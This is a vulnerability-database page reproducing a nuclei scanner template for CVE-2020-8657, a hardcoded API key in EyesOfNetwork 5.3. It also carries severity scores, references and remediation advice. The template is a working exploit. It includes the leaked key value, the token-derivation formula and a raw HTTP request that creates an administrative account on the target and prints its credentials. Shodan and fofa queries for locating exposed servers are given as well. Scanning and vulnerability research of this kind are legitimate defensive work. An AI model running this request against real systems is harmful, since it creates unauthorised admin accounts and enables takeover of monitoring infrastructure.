Lucene search
K

EyesOfNetwork - Hardcoded API Key

🗓️ 30 Jun 2026 04:56:11Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 14 Views

EyesOfNetwork 5.3 uses a hardcoded API key enabling attacker to guess admin access.

Related
Refs
Code
id: CVE-2020-8657

info:
  name: EyesOfNetwork - Hardcoded API Key
  author: daffainfo
  severity: critical
  description: |
    An issue was discovered in EyesOfNetwork 5.3. The installation uses the same API key (hardcoded as EONAPI_KEY in include/api_functions.php for API version 2.4.2) by default for all installations, hence allowing an attacker to calculate/guess the admin access token.
  impact: |
    Successful exploitation allows an attacker to create administrative users and gain unauthorized access to the EyesOfNetwork management system.
  remediation: |
    Upgrade to a newer version of EyesOfNetwork or change the default hardcoded API key in the configuration.
  reference:
    - https://www.exploit-db.com/exploits/48025
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8657
  classification:
    cve-id: CVE-2020-8657
    epss-score: 0.91874
    epss-percentile: 0.99803
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-798
    cpe: cpe:2.3:a:eyesofnetwork:eyesofnetwork:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: eyesofnetwork
    product: eyesofnetwork
    shodan-query: html:"EyesOfNetwork"
    fofa-query: title="EyesOfNetwork"
  tags: cve,cve2020,eyesofnetwork,hardcoded-key,kev,vkev,vuln

variables:
  key: "€On@piK3Y"
  userid: "1"
  username: "{{randstr}}"
  password: "{{randstr}}"

http:
  - raw:
      - |
        POST /eonapi/createEonUser?username=admin&apiKey={{ sha256(md5(key + userid) + Host) }} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user_name":"{{username}}","user_group":"admins","user_password":"{{password}}"}

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"api_version"'
          - "200 OK"
          - "A new user have been successfully inserted"
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200

    extractors:
      - type: dsl
        dsl:
          - '"Username: " + username + ". Password: "+ password'
# digest: 4a0a0047304502207deb644174d6ee53094bdd2ba805f7bbaa77185fb23136153e05000f99b6cdfd022100f453afee27b9ca85a98419730464f7dec5e0a0917e3f7bbc184685c3be8378a2:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.3High risk
Vulners AI Score7.3
CVSS 25
CVSS 3.19.8
EPSS0.91874
SSVC
14